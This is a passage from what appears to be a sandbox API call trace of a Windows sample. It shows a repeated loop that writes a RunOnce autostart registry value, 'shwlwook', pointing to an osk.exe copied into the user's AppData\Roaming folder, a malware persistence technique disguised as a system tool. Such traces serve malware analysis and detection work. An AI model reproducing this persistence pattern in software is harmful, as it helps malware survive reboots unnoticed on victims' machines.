lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0284.022] RegCloseKey (hKey=0x3c0) returned 0x0 [0284.022] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0284.022] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0284.036] TranslateMessage (lpMsg=0x95f69c) returned 0 [0284.036] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0284.036] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0284.037] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0284.037] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0284.037] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0284.037] RegCloseKey (hKey=0x3c0) returned 0x0 [0284.037] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0284.038] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0284.052] TranslateMessage (lpMsg=0x95f69c) returned 0 [0284.052] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0284.053] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0284.053] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0284.053] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0284.053] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0284.054] RegCloseKey (hKey=0x3c0) returned 0x0 [0284.054] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0284.054] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0284.068] TranslateMessage (lpMsg=0x95f69c) returned 0 [0284.068] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0284.068] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0284.069] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0284.069] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0284.069] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0284.069] RegCloseKey (hKey=0x3c0) returned 0x0 [0284.069] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0284.069] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0284.103] TranslateMessage (lpMsg=0x95f69c) returned 0 [0284.103] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0284.103] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0284.104] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0284.104] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0284.104] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0284.104] RegCloseKey (hKey=0x3c0) returned 0x0 [0284.104] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0284.105] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0284.115] TranslateMessage (lpMsg=0x95f69c) returned 0 [0284.115] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0284.115] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0284.115] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0284.116] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0284.116] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0284.116] RegCloseKey (hKey=0x3c0) returned 0x0 [0284.116] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0284.116] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0284.130] TranslateMessage (lpMsg=0x95f69c) returned 0 [0284.130] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0284.131] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0284.131] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0284.131] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0284.131] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0284.131] RegCloseKey (hKey=0x3c0) returned 0x0 [0284.132] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0284.132] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0284.146] TranslateMessage (lpMsg=0x95f69c) returned 0 [0284.146] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0284.146] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0284.147] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0284.147] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0284.147] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0284.147] RegCloseKey (hKey=0x3c0) returned 0x0 [0284.147] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0284.148] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0284.161] TranslateMessage (lpMsg=0x95f69c) returned 0 [0284.161] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0284.162] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0284.162] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0284.162] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0284.163] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0284.163] RegCloseKey (hKey=0x3c0) returned 0x0 [0284.163] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0284.163] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0284.177] TranslateMessage (lpMsg=0x95f69c) returned 0 [0284.177] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0284.177] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0284.178] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0284.178] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0284.178] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0284.178] RegCloseKey (hKey=0x3c0) returned 0x0 [0284.178] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0284.179] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0284.193] TranslateMessage (lpMsg=0x95f69c) returned 0 [0284.193] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0284.193] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0284.193] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0284.193] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0284.194] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0284.194] RegCloseKey (hKey=0x3c0) returned 0x0 [0284.194] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0284.194] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0284.208] TranslateMessage (lpMsg=0x95f69c) returned 0 [0284.208] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0284.209] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0284.209] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0284.209] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0284.209] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0284.209] RegCloseKey (hKey=0x3c0) returned 0x0 [0284.210] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0284.210] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0284.224] TranslateMessage (lpMsg=0x95f69c) returned 0 [0284.224] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0284.224] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0284.225] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0284.225] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0284.225] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0284.225] RegCloseKey (hKey=0x3c0) returned 0x0 [0284.225] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0284.226] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0284.239] TranslateMessage (lpMsg=0x95f69c) returned 0 [0284.239] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0284.240] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0284.240] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0284.240] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0284.241] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0284.241] RegCloseKey (hKey=0x3c0) returned 0x0 [0284.241] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0284.241] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0284.255] TranslateMessage (lpMsg=0x95f69c) returned 0 [0284.255] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0284.255] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0284.256] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0284.256] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0284.256] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0284.256] RegCloseKey (hKey=0x3c0) returned 0x0 [0284.257] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0284.257] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0284.271] TranslateMessage (lpMsg=0x95f69c) returned 0 [0284.271] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0284.271] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0284.271] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0284.272] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0284.272] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0284.272] RegCloseKey (hKey=0x3c0) returned 0x0 [0284.272] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0284.272] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0284.286] TranslateMessage (lpMsg=0x95f69c) returned 0 [0284.286] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0284.287] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0284.287] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0284.287] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0284.288] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0284.288] RegCloseKey (hKey=0x3c0) returned 0x0 [0284.288] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0284.288] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0284.302] TranslateMessage (lpMsg=0x95f69c) returned 0 [0284.302] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0284.302] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0284.303] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0284.303] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0284.303] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0284.303] RegCloseKey (hKey=0x3c0) returned 0x0 [0284.304] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0284.304] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0284.324] TranslateMessage (lpMsg=0x95f69c) returned 0 [0284.324] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0284.325] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0284.325] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0284.325] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0284.325] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0284.326] RegCloseKey (hKey=0x3c0) returned 0x0 [0284.326] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0284.326] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0284.333] TranslateMessage (lpMsg=0x95f69c) returned 0 [0284.333] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0284.334] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0284.334] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0284.334] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0284.335] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0284.335] RegCloseKey (hKey=0x3c0) returned 0x0 [0284.335] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0284.335] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0284.351] TranslateMessage (lpMsg=0x95f69c) returned 0 [0284.351] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0284.351] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0284.352] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0284.352] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0284.352] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0284.352] RegCloseKey (hKey=0x3c0) returned 0x0 [0284.352] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0284.353] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0284.365] TranslateMessage (lpMsg=0x95f69c) returned 0 [0284.365] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0284.365] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0284.366] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0284.366] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x3c0, lpdwDisposition=0x0) returned 0x0 [0284.366] RegSetValueExA (in: hKey=0x3c0, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0284.366] RegCloseKey (hKey=0x3c0) returned 0x0 [0284.366] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0284.367] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0284.380] TranslateMessage (lpMsg=0x95f69c) returned 0 [0284.380] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0284.381] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0284.381] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0284.381] RegCreateKeyExA (in: 